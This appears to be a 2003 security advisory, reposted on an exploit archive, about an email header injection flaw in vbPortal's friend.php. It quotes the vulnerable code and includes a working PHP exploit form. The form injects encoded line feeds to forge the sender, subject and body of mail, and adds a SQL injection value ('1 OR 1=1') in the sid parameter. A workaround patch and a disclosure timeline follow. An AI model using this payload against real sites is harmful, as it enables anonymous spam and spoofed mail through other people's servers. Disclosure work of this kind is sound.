exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SCSA021.txt

SCSA021.txt
Posted Nov 25, 2003
Authored by frog-man | Site Security-Corp.com

Security Corporation Security Advisory [SCSA-021]: vBPortal versions 2.0 alpha 8.1 and below allow a remote attacker the ability to send mail anonymously via a vulnerability in its friend.php script.

tags | exploit, remote, php
SHA-256 | c4d06783f91cb24e63610106d750abfba594dd5975bdd6cc9027faca6c37e247

SCSA021.txt

Change Mirror Download
======================================================================
Security Corporation Security Advisory [SCSA-021]

Anonymous Mail Forwarding Vulnerabilities in vbPortal
======================================================================

PROGRAM: vbPortal
HOMEPAGE: http://www.vbportal.com
VULNERABLE VERSIONS: 2.0 alpha 8.1 and Prior ?
RISK: Low
IMPACT: Allows Unauthorized Users to Send Mail Anonymously
RELEASE DATE: 2003-11-22


======================================================================
TABLE OF CONTENTS
======================================================================

1..........................................................DESCRIPTION
2..............................................................DETAILS
3.............................................................EXPLOITS
4............................................................SOLUTIONS
5...........................................................WORKAROUND
6..................................................DISCLOSURE TIMELINE
7..............................................................CREDITS
8...........................................................DISCLAIMER
9...........................................................REFERENCES
10............................................................FEEDBACK


1. DESCRIPTION
======================================================================

"vBPortal is a addon to the already popular message board software
called vB developed by www.vbulletin.com. vBPortal has came a
long way, and the new version 3.0 has a lot of great features and
functions. Intergrating phpnuke's functions and abilities to easily
add modules and addons has added greater abilities. Simply it adds
a frontpage, and utilizies vb's abilities and expands on that"

(direct quote from http://www.vbportal.com)


2. DETAILS
======================================================================

- Anonymous Mail Forwarding :

A vulnerability has been discovered in the friend.php file that
allows unauthorized users to send spam (junk mail) anonymously.

Vulnerable code :

<?

[...]
function SendStory($sid, $yname, $ymail, $fname, $fmail) {
global $sitename, $nukeurl, $prefix;

$result2=mysql_query("select title, time, topic from $prefix"._stories."
where sid=$sid");
list($title, $time, $topic) = mysql_fetch_row($result2);

$result3=mysql_query("select topictext from $prefix"._topics." where
topicid=$topic");
list($topictext) = mysql_fetch_row($result3);

$subject = ""._INTERESTING." $sitename";
$message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname
"._CONSIDERED."\n\n\n$title\n("._FDATE." $time)\n"._FTOPIC."
$topictext\n\n"._URL.": $nukeurl/article.php?sid=$sid\n\n"._YOUCANREAD."
$sitename\n$nukeurl";
mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer:
PHP/" . phpversion());
$title = urlencode($title);
$fname = urlencode($fname);
Header("Location: friend.php?op=StorySent&title=$title&fname=$fname");
}
[...]
function SendSite($yname, $ymail, $fname, $fmail) {
global $sitename, $slogan, $nukeurl;
$subject = ""._INTSITE." $sitename";
$message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname "._OURSITE."
$sitename "._INTSENT."\n\n\n"._FSITENAME." $sitename\n$slogan\n"._FSITEURL."
$nukeurl\n";
mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer:
PHP/" . phpversion());
Header("Location: friend.php?op=SiteSent&fname=$fname");
}
[...]
switch($op) {
case "SendStory":
SendStory($sid, $yname, $ymail, $fname, $fmail);
break;
[...]
case "SendSite":
SendSite($yname, $ymail, $fname, $fmail);
break;
[...]

}
?>

Both functions SendStory () and SendSite () send emails.
Two variables are (yname and ymail) modifiable in the headers.
An attacker can so inject what he wants, by using the character
LF (line feed), %0A in ASCII.


3. EXPLOITs
======================================================================

- Anonymous Mail Forwarding :

Here is an example of simple application that changes the mail via
variables ymail and fname.

We can here choose the sender, the name of the sender, the addressee,
the type of the message, the message and add a subject while having
the choice between both vulnerable functions.

<?
if (!isset($Send)){
?>

<form action="<? echo $PHP_SELF; ?>">
URL : <input type="text" name="url"><br>
From : <input type="text" name="from"><br>
Your Name : <input type="text" name="yname"><br>
To : <input type="text" name="fmail"><br>
Content Type : <input type="text" name="contenttype" value="text/plain"><br>
Subject To Add : <input type="text" name="newsubject"><br>
Op. : <br>
<input type="radio" checked name="op" value="SendSite">SendSite<br>
<input type="radio" name="op" value="SendStory">SendStory<br>
Message : <br><br><textarea name="message" rows="6" cols="50"></textarea>
<br><br><input type="submit" name="Send" value="Verify">
</form>

<?
}else{

echo "URL : ".$url."<br>";
echo "From: ".$from."<br>";
echo "Your Name: ".$yname."<br>";
echo "To: ".$fmail."<br>";
echo "Content Type: ".$contenttype."<br>";
echo "Added Subject: ".$newsubject."<br>";
echo "Message : <br><br>".str_replace("\n","<br>",$message);

if ($op=="SendStory"){ $sid="1%20OR%201=1"; }

$ymail=$from.">%0A";
$ymail.="Subject:".$newsubject."%0A";
$ymail.="Content-Type:multipart/mixed;%20boundary=Anonymous;";
$ymail.="%0A%0A%0A";
$fname="%0A--Anonymous%0A";
$fname.="Content-Type:".$contenttype."%0A%0A";
$fname.=str_replace("\n","%0A",$message);
$fname.="%0A%0A%0A";
$fname.="--Anonymous--";
$fname.="%0A%0A%0A";

$url.="/friend.php?sid=".$sid."&op=".$op."&yname=".$yname."&ymail=".$ymail."
&fmail=".$fmail."&fname=".$fname;

echo "<br><br><b><a href=\"$url\">Ok, Mail It</a></b>";
}
?>

Let us remind that the user chosen in the request of this exploit
(the first registered) will receive too a copy of the mail,
because an addressee was already defines.

Ours will come to add later.


4. SOLUTIONS
======================================================================

You can found a patch at the following link : http://www.phpsecure.info

Version 3.0b have been fixed


5. WORKAROUND
======================================================================

For Version 2.0 alpha 8.1 add simply the following line in
friend.php file just before "switch($op) {" :

------SNIP-------

if (eregi("\n",$yname) OR eregi("\n",$ymail) OR eregi("\r",$yname) OR
eregi("\r",$ymail)){
die("Patched");
}

------SNIP-------


6. DISCLOSURE TIMELINE
======================================================================

12/11/2003 Vulnerability discovered
12/11/2003 Vendor notified
12/11/2003 Vendor response
13/11/2003 Security Corporation clients notified
13/11/2003 Started e-mail discussions
21/11/2003 Last e-mail received
22/11/2003 Public disclosure


7. CREDITS
======================================================================

frog-m@n <frog-man@security-corporation.com> is credited with this discovery


8. DISLAIMER
======================================================================

The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.


9. REFERENCES
======================================================================

- Original Version:
http://www.security-corporation.com/advisories-021.html

- Version Française:
http://www.security-corporation.com/index.php?id=advisories&a=021-FR


10. FEEDBACK
======================================================================

Please send suggestions, updates, and comments to:

Security Corporation
http://www.security-corporation.com
advisory@security-corporation.com

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close